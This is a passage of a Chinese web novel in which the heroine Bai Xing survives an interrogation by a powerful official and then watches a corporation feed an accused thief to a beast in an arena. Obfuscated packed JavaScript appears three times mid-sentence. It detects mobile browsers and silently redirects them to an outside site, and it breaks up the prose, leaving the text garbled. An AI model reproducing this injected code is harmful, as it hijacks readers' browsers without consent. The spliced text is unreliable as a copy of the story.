数分钟后，输血完毕，缝合完成，就差等燕飞逸自己醒来了。 白星：“好累，我去睡一觉。” 林医生：“好，这边交给我。” 这一觉醒来就是三小时之后，白星神清气爽。 “你同事醒了。那个和你一起来的女生离开一段时间了。”林医生道。 白星于是到病房去看望燕飞逸。说是病房，其实只是一间摆着三张窄小的床的屋子，墙壁被粉刷的很白,这里充满消毒水的气味。 燕飞逸背靠床头，低着头，不知道在想什么。 “喝营养剂吗？”白星丢给他一只廉价营养剂。 燕飞逸没有接住，而是唉声叹气。 白星：“怎么了？愁眉苦脸的，不像是刚捡回一条命的人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕飞逸继续说着：“——但是很快又晕过去了，在醒着的期间，我意识到你拖着我，把我藏在安全的树洞里。” “谢谢你，白星。”燕飞逸的语气真挚极了。 “那就请我吃饭吧。” “那必然的。”燕飞逸心情舒畅了很多，这才有多余的注意力注意其他的事情。 当他看到如同蜈蚣一样歪歪扭扭的、针脚奇怪的、远比正常缝合线丑很多的缝合线之后，不由自主地落泪道： “这也太丑了吧。” 白星适时递上了一张医馆账单，看着账单上的天文数字，燕飞逸发出了一声响彻天地的惊呼，“这么贵？！” 白星：“……嗯，缝线可是技术活。” 11.第 11 章 沉默了一会儿，燕飞逸终于问道：“我昏过去之后，发生了什么？” 白星坚持了对李姐和林医生的那套说辞。 燕飞逸：“那还……真是幸运啊。还好我们两个的命没丢。” 他表情空空的，不知道在想什么。 接下来，两人也没有享受多少休息时间。燕飞逸那边响起了电话，听起来像是有人在询问情况。 缠着绷带的燕飞逸艰难地接了电话，嗯嗯好好了几句，挂了，“他们要过来。” 白星：“谁？” 燕飞逸：“政府的人。你懂的，他们雇佣天眷者对抗异兽。派去的两个天眷者都死了，总要有个说法。” 白星心里微微紧张，面上却不显，“哦。” 她在心里反复复盘已经发生的一切和自己的说辞，试图找到一个可能存在的漏洞。然后她发现，她的说辞是难以证伪的，但是如此同时，也有个问题——很难以被证实。 因为一切都是她的一面之词，在场的人不是昏迷就是死掉了，唯一活着且清醒的人就是她。 这时候，有个问题就尤为重要了，来人是否有强大的刑侦能力，甚至——有没有可以用来调查真相的天术。 白星问燕飞逸：“来的人你认识吗？” 燕飞逸：“认识。” “熟吗？” “有过几面之缘，她负责代表政府和天眷者对接，叫柳襄。” “她也是天眷者吗？”白星非常自然的问道。 “不，”燕飞逸摇摇头，“天眷者又不是到处都是的野草，哪有那么多？她是普通人。” 白星微微松了一口气。 这时，外面传来动静，随即房间门被敲响，是林医生。 “白星，燕先生，你们有客人，是政府的人。” 林医生把人引到之后就避开了，临走前她向白星投去了担忧的一撇，白星回了她一个“安心吧”的眼神。 走进屋子的是个看上去很干练的职业女性，大概就是燕飞逸口中的柳襄。 燕飞逸正要打招呼，结果看见第二个人紧随柳襄进了屋子。看清了第二个人的脸之后，他脸色马上一变，失声道：“怎、怎么会……？” 第二个人很高，头顶几乎要碰到门框，身材修长，穿一身黑色西装，看上去材质不凡。浅茶色的头发梳成背头，特地留有一缕刘海在额前。整个人与老旧的医馆格格不入。 他皮肤苍白的要命，手里拿着一柄漆黑的收紧的长伞。他一进来，屋里的气场立刻不一样了。 白星看燕飞逸这么失态，问道：“怎么了？” 燕飞逸还处于一种意外而激动的情绪当中，他脸涨得通红，大声道：“你不认识他吗？他是S级天眷者，政府最强的底牌，巫霁，代号【判官】！” 白星心中一紧，S级天眷者？！还代号判官？！ 从狱卒和暴食的例子来看，是否可以说，至少有一部分天眷者，喜欢起一个和自己的天术有关的代号？ 那么判官这个代号是什么意思？负责审判、惩戒的人吗？他的天术是否与此有关？那么，他的天术是否能够在某种程度上协助他找到真相？还是说，他们已经通过某种手段获悉了真相或部分真相？ 而且，此人是S级天眷者。 为什么S级天眷者这种只在传说中出现的大人物会此时露面？就算死了两个低级天眷者派遣工，真的值得S级天眷者出马吗？ 只能兵来将挡，水来土掩。 白星适时做出困惑的样子，“你们好。S级天眷者……来找我们？有点梦幻了。” 柳襄上前一步：“这位是审戒署的署长，巫霁先生。审戒署是政府直属部门，专门负责调查和审判天眷者的违法犯罪行为。巫霁先生是审戒署的最高长官。” 巫霁的身上有一种常年身居高位的威势，和顶级天眷者才有的压迫感，他一出现在这，就算什么话也没说，什么动作也没做，这里的空气也都仿佛不再流动了。 在这种威压下，旁人所能感受到的，只有自身的渺小，如同在仰望着无垠的宇宙。 白星没有忽视这种威压，却也没有被压倒。她摆出礼貌笑容，“巫先生你好。” 瞥了一眼没再出声的燕飞逸，白星心里立刻咯噔一下——燕飞逸看上去浑身僵硬，焦躁不安，手指都在微微颤抖。 燕飞逸你在搞什么？这样子很可疑好吗？ 柳襄向燕飞逸投去了怀疑的目光。 白星立刻装作调侃的样子找补，“燕哥，看出你很激动了，好不容易见到了自己崇拜的S级天眷者，这还不赶紧要签名？” 她把燕飞逸不知道哪里来的紧张和恐惧解读为“激动和崇拜”。 燕飞逸哆哆嗦嗦地说：“是，巫先生，请、请一定给我签名！” 柳襄看起来没那么怀疑了。 计划通√ 巫霁全程面无表情，“签名？我不是偶像。” 他语调非常平淡，就连拒绝人时，语气也没什么波澜。 柳襄在一边打开夹在板子上的笔记本，拿出笔开始做记录。 巫霁手中的黑伞的伞尖轻点地面，“你们都知道我是为何而来的。” “一次任务，两个天眷者死亡，两个收尸工却幸存，这是非常罕见的事情。” “通常我们会把证人隔离开来，分别讯问，但是鉴于你们两个的状况……”巫霁淡淡地注视着白星和燕飞逸之间连接着的输血管，“这一次姑且算了。” “但是你们必须要详细地回答我的问题。” “你们是几点钟，在哪里，和暴食、狱卒相遇的？然后发生了什么？” 燕飞逸不安地看了看白星，然后开口了——他说话还带着点紧张和结巴，“……大、大概是下午两点钟，我、我们来到[尖吻魔蚊]任务的指定地点，遇到了狱卒，没有看到他的同伴。” 白星点点头，“是这样。” 巫霁：“你们是和狱卒约好了见面吗？” 燕飞逸：“更、更像是偶遇，他说是取了一趟工具，然后急着去和同伴回合，让我们在原地等。几分钟之后。我听到了类似振翅的声音，没过几秒，就看到[尖吻魔蚊]出现在我们身边。” 白星：“是这样。” “你们是怎么逃脱的？” 燕飞逸苦笑，“我、我没有逃脱，我一看到[尖吻魔蚊]，就……就昏倒了。” 他垂下头，仿佛是对被吓昏的事实非常羞赧，“接下来发生了什么，我也是一头雾水。” 巫霁微微侧头，“所以，接下来发生了什么，你是唯一的知情人？白星。” 白星知道重头戏来了，她做出回忆的样子，“是的。我看到[尖吻魔蚊]，吓得要死，以为要完蛋了。但是下一秒狱卒和他的同伴就出现了，他们一边开枪吸引[尖吻魔蚊]的注意力，一边喊我们赶紧走。我赶紧背着燕哥离开，没有回头。紧接着，爆炸发生了，我们被爆炸产生的气浪掀翻。燕哥被我背在后面，在爆炸时受到了重创，我反而因为燕哥起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816105|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了盾牌的作用，没有受伤。我扭头看了一眼，发现狱卒和他的同伴躺在地上一动不动，狱卒只剩下了半截身体，而他的同伴脖子上开了个大口子，我猜两个人都活不成了。[尖吻魔蚊]也倒在地上。随后我们遇到了开车过来的李姐。” “从你看到两个天眷者死亡，到李瑰，也就是你口中的李姐的出现，中间过了多长时间？” 白星思忖着，“很短暂，大概5到10分钟?” 巫霁看着她。 他的目光不包含任何感情，只有一种冰冷的审视，让白星觉得自己像是一只被昆虫学家观察的蝴蝶标本。 “你知道，对审戒署撒谎有什么后果吗？” 白星扬起眉毛，“什么后果？” 巫霁没说话，柳襄适时上前解释道：“审戒署拥有法外裁定权，无需遵从‘疑罪从无’的原则。对于天眷者，可以先抓后审；对于普通人，可以直接定罪判刑。上一个对巫先生撒谎的普通人，正在服终身劳役。” 白星知道他们是想对自己施压，这种口头上的威胁根本不会吓到她。 “我们只是在错误的时机，出现在了错误的地方。如果因为这个就要被送到矿区挖煤，那你们审戒署还真是拿人命当儿戏。” 话音刚落，就听见燕飞逸倒抽了一口冷气。柳襄也是大气不敢喘。 屋子里忽然变得阴冷起来，白星的胳膊上起了细细的鸡皮疙瘩。等等，这是——顶级天眷者的威压吗？ 巫霁紧紧盯着她，“在李瑰到达前的5到10分钟里，你明知道尖吻魔蚊已经死了，你的同事受伤了，你却没有向任何人求助。” 白星：“我没有其他人的联系方式，因为今天新换了手机。” 她摸出手机递上去，柳襄接过，检查了一下通讯录，又检查了一下手机激活日期，然后朝巫霁点点头。 巫霁：“在不知道李瑰会到来的情况下，你没有离开原地，向他人求助，而是守在原地，一动不动，任凭同事一直流血?” 白星心中微微一紧，巫霁确实思维缜密，抓住了一个关键的问题。从爆炸声发出来，到李姐出现，隔了5-10分钟，由于附近的人有可能听到爆炸声，给出这个时间信息。而可以预见的是李姐也会如实交代自己出现的时间，所以她无法在时间上撒谎。 正是在这段时间里，她杀死了狱卒和暴食。 白星知道，必须拿出一个令人信服的理由来——就说她担心燕飞逸的情况，打算给他临时包扎一下伤口？可以说得过去，但是不知道对方会信几分。 这时候，燕飞逸在一边开口了：“是我……我从昏迷中醒了几秒钟，发现自己受了伤，血淋淋的，一时间慌了神，恳求白星不要丢下我一个人。” 白星有些意外燕飞逸会帮忙打配合，她顺势接下话茬，“我担心燕哥的状况，也怕那边的异兽没死透，所以想带着燕哥走远些。” 巫霁审视着她，两人对视着，就像是针尖对麦芒。 渐渐地，巫霁的脸上缓缓露出了一点笑容，但眼睛里却没有一点笑意，看起来更像是紧绷的面具破开了一道裂缝。 “你很幸运，白星。” 巫霁似乎意有所指。 白星不知道他说的是从魔蚊手里死里逃生这件事，还是有更多深层次的含义。 她回应道：“是的，我一直很幸运。” 巫霁深深看了她一眼，对柳襄说：“讯问结束，我们走。” 白星看着他们离去的背影，微微眯起了眼睛。 12.第 12 章 等巫霁和柳襄一走，林医生就迫不及待地进来，“那个叫巫霁的，真的气场很强，我在外面偷偷听着，都替你们紧张。” 她递给白星和燕飞逸各一只廉价营养剂，“补充下营养。” 白星接过营养剂，“只是常规询问罢了，不用担心。” 燕飞逸长吁一口气，呈大字型躺在床上，像是终于放松下来了。 林医生又絮叨了一会儿，输血已经接近尾声。她给两个人分别拔了针管，贴上胶布。 她叮嘱燕飞逸，“你留在这里再观察一晚上，我去拿药，你记得按时服药。” 她走路带风地离开了。 白星看向燕飞逸，那人正闭着眼睛。 白星直接问道：“刚才为什么帮我说话？” 燕飞逸低笑一声，“如果你被审戒署抓走了，那收尸的活儿岂不是全落到我们身上了。” 白星心想燕飞逸果然是平静下来了，居然还有心情调侃和吐槽。 燕飞逸收敛了笑容，“不过是投桃报李罢了。” 白星：“啊？偷桃子？” 燕飞逸：“……” “忘了你是文盲了。” 白星丢了一个枕头到他身上，“不许人身攻击！” 燕飞逸：“我丨靠，差点打中伤口，你是要杀人吗？” 白星：“你还没说完偷桃子的事情，不许转移话题。” 燕飞逸：“哼，我不说了。” “你必须说。” “我不说。” “你必须说。” ……无限循环。 拿药回来的林医生：“你俩是三岁小孩吗？” 燕飞逸慢慢收敛了笑意。 帮了白星这一把，他基本上也断了自己的后路，如果卡特尔集团发现…… 可是如果再给他一次机会，他还是会做出同样的选择。 …… 另一边，巫霁一出地穴，就打开了黑色的伞，将自己罩得严严实实。 柳襄为他打开车门，巫霁摆摆手，“不，我来开车。” 柳襄露出为难的表情，“可是您的皮肤不能长时间接触阳光……” “一小会儿，不碍事。” 巫霁坐上司机位，首先做的第一件事是把遮阳板放下来，挡住一些阳光，然后才发动汽车。 越野车在颠簸的碎石子路上缓慢行驶，穿过集市，渐渐来到一座不大的教堂的门前。 这教堂虽然破旧，但是周围意外地很干净，门口种植着一些奇形怪状的耐酸雨的花花草草。一个衣着朴素的老婆婆正在门口拔草。 听见巫霁的脚步声，老婆婆看了一眼来人，“你来了。” “堂堂大主教，却在这里拔草，不知道的还以为教会没落了。” 老婆婆，也就是大主教说：“可是如果不拔掉这些实心草，它们就会迅速蔓延开来，挤占原本花草的生存空间。” 她放下小铲子，直起腰来，拍了拍手上的灰尘，右手平铺在心脏的位置，“愿神主引领你的前路。” 巫霁神色肃然，同样用右手放在心脏的位置，“神主的慈悲照耀每一个人。” 两人随即进入教堂内部，而柳襄则在门厅坐着等候。 教堂里面并不明亮，光线透过瑰丽的玻璃窗折射进来，在屋子里投射出奇妙的光晕，营造出一种神秘而静谧的氛围。 教堂内部的面积也不大，三五排教徒座位摆着，就差不多占了一半的空间。而教堂的最里面，通常应该摆着神像的位置，却摆了一个立着的铜镀金圆环。 几个零零散散的信徒聚集圆环旁，做着祷告。 “你看看我们的信徒，大都是老年人，现在的年轻人更务实，神主的光辉难以照耀他们。”大主轻声感慨着，“而你这么年轻，却是一位信仰坚定的战士，令人欣慰。” “他人的信仰与我无关，我要做的是践行神主的意旨。”巫霁淡淡道。 大主教：“你去见了她？” “没错。” 大主教的眼中立刻燃起了浓浓的兴味，“她是什么样的人？” 巫霁没有回答，而是问道：“如果你想了解，为什么不亲自去见她？” 大主教摇了摇头，“巫霁，事情不是这样运转的，命运之线有它固定的轨迹，很多事情我无法干预……” 巫霁：“又是那一套宿命论吗？” 大主教：“你不相信我说的话，但是有一天，你最终会明白。” 巫霁：“我很怀疑。” “她是一个普通的女孩，和垃圾区其他的女孩没什么不同，或许多了几分勇气和机智。” “她的工作很危险，但是垃圾区的人，谁又比谁多几分保障呢？” “从客观上来讲，她年轻漂亮，但我相信这不是你向我提起她的理由。” “为什么你会关注这样一个女孩，还建议我去看看她？” 大主教：“这是宿命的一环。” 巫霁：“又是‘命运’那一套。” “你不相信命运？” “如果我信命，就不会有今天的巫霁。神主选中我，让我成为S级天眷者，是把改造世界的力量给了我。而我不会让祂失望。” 大主教却露出了神秘的微笑，“神主的骰子已经掷下，我们凡人的意志不过是回响。” …… 第二天清晨，燕飞逸肉痛地和林医生协定分两期支付医疗账单，然后回家休养，临走前他打电话给上级，声称受伤虚弱，给自己和白星都请了病假。 白星因此获得了一天假期。 燕飞逸一走，白星就跑去找林医生，“老林，帮我个忙。” 林医生：“？” 白星：“把卡特尔集团给我植入的定位器取出来。” 林医生：“……他们给你植入了定位器？！天杀的卡特尔集团，居然还搞这些阴招……要我说，他们这样严防死守，你现在做的事情和送死也没什么区别了，要不就趁机辞了工作，就说自己不适应收尸生活。” 林医生一边给白星开刀，一边叨叨，看来她还是想让白星停止复仇。 林医生：“你看昨天多危险，你们差点就被异兽给吃了。” 白星：“……” 要是让林医生知道，她当时面临的不只是一只[尖吻魔蚊]，还有两个天眷者，林医生绝对会尖叫着把她打包送出卡特尔集团的势力范围。 还是别说了。 林医生一边取定位器一边骂道：“……这东西埋得还挺深，位置也很刁钻！” “别说话了老林，好好干活！”白星还真有点怕林医生一个手抖酿成大祸，这定位器可是装在脖子里，一个不慎就会酿成事故。 林医生像拔萝卜一样“噗”地一下拔出定位器，“你还信不过我吗？我技术这么好，能伤到你动脉？” 白星感受着自己皮肉被缝合起来，因为麻药的作用所以一点也不疼，“那可不好说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832959|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林医生翻了个白眼，处理完后续，“滚回你的屋里歇着去吧，小心感染。” 白星抓起被取出的定位器，听话地滚回自己屋子。 她的屋子还兼职医馆的储藏间，里面放着医疗仪器和摊开的阴干的草药，角落里有一张窄床，就是她休息的地方。 她打算研究一下昨天刚觉醒的【傀儡控制】的衍生技能，【傀儡断头台】。 这技能该怎么用？ 当她产生这个念头的时候，死之镰刀显现出来，在空气中不断变换，最终变成了一个铡刀高悬着的断头台。 [纯黑魔术师]、[纯黑尖吻魔蚊]、[纯黑狱卒]和[纯黑暴食]依次出现，挤在这狭窄的储物间里，呈现出一种卑微的臣服的姿态，仿佛在等待着命运的审判。 之前脑海中的那道声音说，【傀儡断头台】可以斩杀一个傀儡，被斩杀的傀儡会化作能量，强化另一个傀儡。 [纯黑狱卒]的[信标监狱]的限制太多，如果要牺牲一个傀儡的话，白星认为[纯黑狱卒]是可以损耗掉的。 心念一动，[纯黑狱卒]便顺从她的心意，在断头台前跪下，乖巧地将头颅架在断头台上，等待着即将到来的死亡。 看着[纯黑狱卒]这么乖巧的样子，白星反而有点轻微的犹豫。 这时候，脑海中的声音提示道：【上一级傀儡所蕴含的能量是下一级的三倍，例如，D级傀儡所蕴含的能量是E级傀儡的3倍。因此，斩首两个下一级的傀儡，可以将另一个下级傀儡提升一个等级。例如，斩首两个E级傀儡，可以将另一个E级傀儡强化为D级。】 【同样的，一个高等级的傀儡所提供的能量，可以拆分成三份，例如一个D级傀儡被斩首后的能量，可以视作三个E级傀儡的能量，用于强化其他傀儡。】 原来如此！ [纯黑魔术师]是E级，它的【幻象】拥有着有广泛的用途，肯定不能献祭它。 [纯黑尖吻魔蚊]是D级，它的天术是【生命汲取】，这个天术和【幻象】打配合，在战术上简直无敌了，可以猥琐地偷敌人血偷到死，[暴食]就是这么被阴死的。 这两个天术都不能献祭。 而D级的[纯黑暴食]，其拥有的天术，是空间储存能力【多余的胃袋】，这简直是居家旅行杀人放火必备啊！ 这个也不能扔。 唯一相对鸡肋的能力是[纯黑狱卒]的【信标监狱】,但是它仅有E级，不足以强化其他的能力，倒是因此暂时保全。 看着[纯黑狱卒]背后背着的黑雾缠绕的锤型装备，白星心里有了主意。 她来到医馆外，寻找到了一个人迹罕至的垃圾堆包围的空地，在此放出了[纯黑狱卒]和[纯黑魔术师]。 “你们两个，对打，只能用身体，不能用天术。” 两个傀儡听令照做。 [纯黑狱卒]摘下背后的大锤，抡地虎虎生风，不一会就把[纯黑魔术师]逼进了角落。 在见到狱卒本人扛着大锤的时候，白星就推断他近战能力不错，如今看到他的傀儡这么能打，便知道自己的推断果然没错——E级的[纯黑狱卒]，靠□□的力量，压着[纯黑魔术师]打。 白星面色一喜，[纯黑狱卒]可以暂时当一个在前面抗伤害的坦克，或者一个正面攻坚的战士，直到白星不再需要他。 这时候，白星也庆幸自己没有选择和狱卒本人正面对抗，如果真的陷入肉搏战，还很难说谁能赢。 13.第 13 章 测试完傀儡能力的白星，重新回到了医馆。 这时候，手机弹出了一条未读信息，在白星的操作下，AI没有感情地朗读出声： “[爱心]卡特尔集团下属竞技场开业十周年大酬宾[爱心]” “今日上午10：00到下午2：00，提供由卡特尔集团倾情献上的特别竞技节目！” “地点：中央赌场内部圆环竞技场。” “不收门票，全程提供免费酒水，无任何强制消费！” “欢迎每一位居民前往参与！” 白星跑去问林医生，发现林医生也收到了同样的信息。 她：“？” 卡特尔集团这铁公鸡，居然还有这么慷慨的一天？ 要知道，卡特尔集团虽然富得流油，但是从来不做慈善，而且他们的钱，全是从底层劳工和小商人身上榨出来的，连林医生的医馆都在交着每月一次的保护费。 林医生揉了揉酸痛的腿，“我年纪大了，对那什么竞技项目没什么兴趣。” 白星：“我去瞧瞧。” 卡特尔集团的热闹，她当然要凑了。得看看他们在搞什么。 算了下时间，现在出发的话刚好赶得上，骑上自己的小摩托，白星向竞技场驶去，一路上看到了很多人朝着同一个方向走去。 应该都是去看免费节目的人。矿区附近很少有娱乐项目，免费节目的吸引力的确不小，但是吸引力更大的，是免费酒水。就白星所了解的，很多底层劳工的钱包都被劣质酒水掏空了。现在有免费的酒水，这种诱惑简直无法抵抗！ 这是白星第一次进入中央赌场内部，她非常新鲜地四处张望着，周围还有很多和她一样感到新鲜的乡巴佬们。 这里的装潢可以说是富丽堂皇，一排金色的水晶吊灯从画满华丽壁画的天花板上垂落下来，将整个厅堂照得金碧辉煌，长长的红毯铺在地面上，角落里摆着各种精致的摆件。 白星一瞬间觉得自己好像来到了另一个世界，一个与她格格不入的地方。她沾着尘土的靴底踩在红毯上，随着人流穿过厅堂和走廊，在西装革履的侍者的引领下，来到了竞技场。 第一个反应是，这竞技场真的很大，甚至能容纳几千人。它呈圆形，有着一环一环的座位，每一个后排都比前排高。人流被分开，在不同的区域入座。交谈声，笑闹声，小孩子哭嚷的声音，不绝于耳。 “嘿，白星！” 白星扭头，发现叫她的人居然是缠着很多绷带的燕飞逸。 燕飞逸挠挠头，“哈哈，刚分开两小时，又见面了。” 白星：“你怎么不在家里好好养伤？” 燕飞逸：“在家里也没什么事做，不如来这边，还有酒喝。你也来看节目？” 白星：“是啊，也不知道节目好看不好看。” 燕飞逸虽然身上缠着绷带，但是却很灵活，只见他在吵吵嚷嚷的人群中飞速挤到了最前面，“快过来，白星，我给你占了个好位置。” 白星于是过去，发现这个位置真的很不错，视野开阔，而且离得近，估计到时候连上场选手脸上的雀斑都能数清楚。 她称赞道：“牛。” 燕飞逸嘿嘿地坐下，探头探脑地看着四周，“也知道什么时候发酒……” 白星：“不急，你看人还没坐满一半，估计要人齐了才行。对了燕哥，你说这竞技场里会不会出现天眷者选手？” 白星迫切地想了解其他天眷者的信息，如果此时此地能见到一两个天眷者格斗，那就太好不过了。 燕飞逸却摇摇头，“你是真的痴迷天眷者啊，但是想看天眷者之间的战斗，这种机会可遇不可求呢。我看这次节目，应该是一些准备好的普通人之间的表演赛，主打一个花哨好看。天眷者上场的概率不大。” 他继续说道：“你看，这一带的天眷者大概分为三类，一种是服务于卡特尔集团的天眷者，这种人不会轻易出手，除非是集团认为有炫耀武力的必要。第二种是服务于政府机构的天眷者，这一类天眷者更不屑于和卡特尔集团为伍。第三种天眷者不依附于其他势力，或者依附的势力力量比较小，他们被称为流浪者。他们倒不是不可能为了钱财而来竞技，但是这类人数量不多。” 白星若有所思，“那[狱卒]和[暴食]，属于哪一类？他们接受政府的雇佣，猎杀异兽，所以他们是依附政府的？” 燕飞逸：“我更倾向于他们俩个是没有组织的流浪者。事实上，任何天眷者，无论是否依附政府，都可以受到政府[灾难管理局]的雇佣，成为[异兽猎人]。” “为什么觉得[狱卒]和[暴食]是流浪者？” “咳咳，直觉罢了。”燕飞逸颇有点心虚的低下头。 当然是因为[暴食]和[狱卒]上来就谋杀收尸人，不太像政府正式员工的作风啦！ 等等，隐瞒身份和信息的人是白星，又不是他，他为什么会心虚？ 白星转移了话题，“这么大个竞技场，我还从来没有来过。” 燕飞逸介绍着，“都是卡特尔集团的产业，这里平时是决斗的场地，观众们可以押胜负，赌徒们可喜欢这地方了，不过我手气不好，从没赢过，后来就不赌了。” 这时候，侍者举着托盘走近，托盘上放着小塑料瓶包装的烈酒，人们顿时兴致高昂地伸手去拿酒。侍者连忙大叫，“一人一瓶，不能多拿。” 燕飞逸趁侍者不注意多拿了一瓶，然后窃笑。他已经期待很久了，没用酒起子，拇指一转，轻而易举地打开了酒瓶盖子。他享受地饮了一口。 白星：“你受伤能喝酒吗？” “嘿嘿，酒是粮食的精华。我补点精华有什么错？”燕飞逸又补充道：“别告诉林医生，要不然她会训我。” 又说道“你的酒呢，拿来我给你开瓶。” 白星递给他酒瓶，“燕哥，你知道哪里能买到装备吗？” 燕飞逸：“装备？什么装备？” “那天，我们去给[多尾猿猴]收尸的时候，遇到的那个身穿辅助装备的普通人，陆明，她提到过。她没有天术，但是靠辅助装备和同伴一起击杀了异兽。” “我们的工作很危险，一不小心就会没命，所以想买点辅助设备，也比较合情合理吧？” 燕飞逸：“据我所知，政府那边有卖的，但是他们只出售给成为异兽猎人的天眷者。毕竟，从法律意义上来讲，平民不被允许持有辅助装备。虽然很多人都公然不遵守就是了。” 白星：“就没有别的门路吗？” 燕飞逸思索了一会，“……我在天眷者小队里的时候，倒是听说过一个地方。” “那个地方可以说是黑市了，什么都有卖的，贩售的物品来源大多有点问题，偷来的抢来的都有，如果你去那里，可能会找到想要的答案。但是更有可能被洗劫一空，毕竟那地方就和贼窝一样。” “在哪？” “在老鼠沟，再具体的地址我就不知道了，不过你真的要去老鼠沟吗？” 老鼠沟是垃圾区里著名的贫困区。儿歌里面是这样传唱的——“老鼠沟里无光明，死活全凭命运定。宁愿荒野流浪去，也不踏进那地狱。” 白星沉思了一下，黑市在老鼠沟，那也合情合理，政府管不了那个阴暗的角落，卡特尔集团在那里也没有多少油水可捞。那里野蛮又残酷，是犯罪行为滋生的温床。 “回头我想想吧。”白星说。 话题进行到这里，圆形竞技场里的座位已经被坐满了，最后面和过道里还聚集着一些抢不到座位的人，在骂骂咧咧。只能说免费酒水的威力太大了，吸引了这么多人。白星甚至没见过垃圾区里这么多人聚集在一起。 她看见侍者们将竞技场数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840962|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个出口的大门都关上，并退出了竞技场。 咦？表演需要关门吗？ 白星微微起了疑心，这是为了演出效果吗？似乎也说得过去，但是总觉得事情不太对劲。 这时候，一个男人来到附近的出口，去推大门，大门却纹丝不动。 男人：“怎么推不动？” 他抱怨道：“来人开门啊？老丨子要去厕所！再不开门，我就尿在门口！” 白星放下酒，事情不妙。她拿胳膊肘捅捅燕飞逸，“别喝了。别喝了！！！” 燕飞逸打了个酒嗝，“怎么了？” 此时还没有其他人觉得不对劲。 这时候，广播里富有激情的男声响起，“欢迎大家参加卡特尔集团的特别竞技节目，现在，有请两位选手登场！” 竞技场内部升起了一个三米高的方形物体，蒙着黑布。 “这是啥？” 人们议论纷纷。 富有节奏、激动人心的音乐响起。 广播：“这就是我们的第一位选手，他是谁呢？我们先留个悬念！” 此时，观众们看不到的地方，黑暗的选手通道里，一个挣扎的女人被两个打手拖着前行。 “不！不行！我不能！我不上场！” 打手们无人理会女人的挣扎，将她从选手通道里推到竞技场里，然后狠狠关上了门。 广播：“这位是我们的第二位选手，张湖英。” 大屏幕上显示出了张湖英的照片和履历。 她在照片上笑得拘谨，温暖的眼睛里透出希望的光。 观众们露出了疑惑的目光。 “这小胳膊小腿一撅就断了，怎么格斗？” “这不是二手店的店员张湖英吗？” “她怎么来竞技场了？她会打架吗？” 广播：“张湖英，女，47岁，二手店售货员，于5月13日来到卡特尔集团，偷窃了价值高达2.5万元的物资，被集团保安当场抓获。” 随即，大屏幕上开始放映监控录像，录像显示张湖英鬼鬼祟祟穿过卡特尔集团的工厂，却被保安按在地上。 广播：“现在，是时候揭晓第一位选手的真面目了！” 三米高的方形物体上的黑布落下，露出笼子里的东西。 笼子门咔哒一声开了。 张湖英骤然从漆黑的通道里被丢进竞技场地，一时间眼睛适应不过来，等她撤开挡住刺眼的阳光的手之后，她看清了自己要面对的选手。 ——那是一只如同豪猪一样长满刺的怪物，有三米高，口中滴着涎水，眼睛死死盯着张湖英。 广播的声音适时响起，“F级异兽，[毒刺豪猪]，体型庞大，行动却很敏捷，每一根刺都带有微弱的毒性！” “那么，谁会最终获胜呢？我们的邪恶的小偷，张湖英女士，还是饥饿的异兽，[毒刺豪猪]？让我们拭目以待！” 张湖英惊恐的表情凝固在脸上，她转身疯狂地敲选手通道的门，“求求你们，放我回去，求求你们，我错了，我知道错了！你们让我做什么都行，求求你们。” 她跪地求饶。 在异兽出现的那一瞬间，观众席上就已经失控了。 “异兽！是异兽！” “艹，卡特尔集团疯了？！” “快逃啊！” 惊恐的人们起身逃窜，却发现大门已经被从外面锁住了。 而广播的声音仍然热情洋溢，“各位观众不必担心，围栏足以阻挡F级异兽，大家是安全的，请大家认真观看比赛！” 白星猛地一下站了起来。 这不是比赛。这是处刑！ 广播还在说着：“只要遵守卡特尔集团定下的规矩，你们就是安全的。无论是过去，现在，还是未来。” 这不仅仅是处刑，还是杀鸡儆猴！ 14.第 14 章 没有任何意外的，张湖英死了。 白星侧过头，不忍心看异兽啃食死者的场景。 卡特尔集团！他们怎么能这样做？！ 现场恐怖的气氛已经达到了顶点。 大部分人都只是听说过异兽，少部分人不幸遇到过异兽，但是那肯定是看见了就赶紧跑，没几个人真的见过异兽袭击人类的场景，更何况是这么近距离地被逼迫着“观赏”。 燕飞逸手里的酒已经掉在了地上，他所珍视的酒液洒在自己的劳工鞋上，他却毫无所觉。 他缩成一团，嘴唇打着哆嗦，仿佛被抽干了所有的力气。 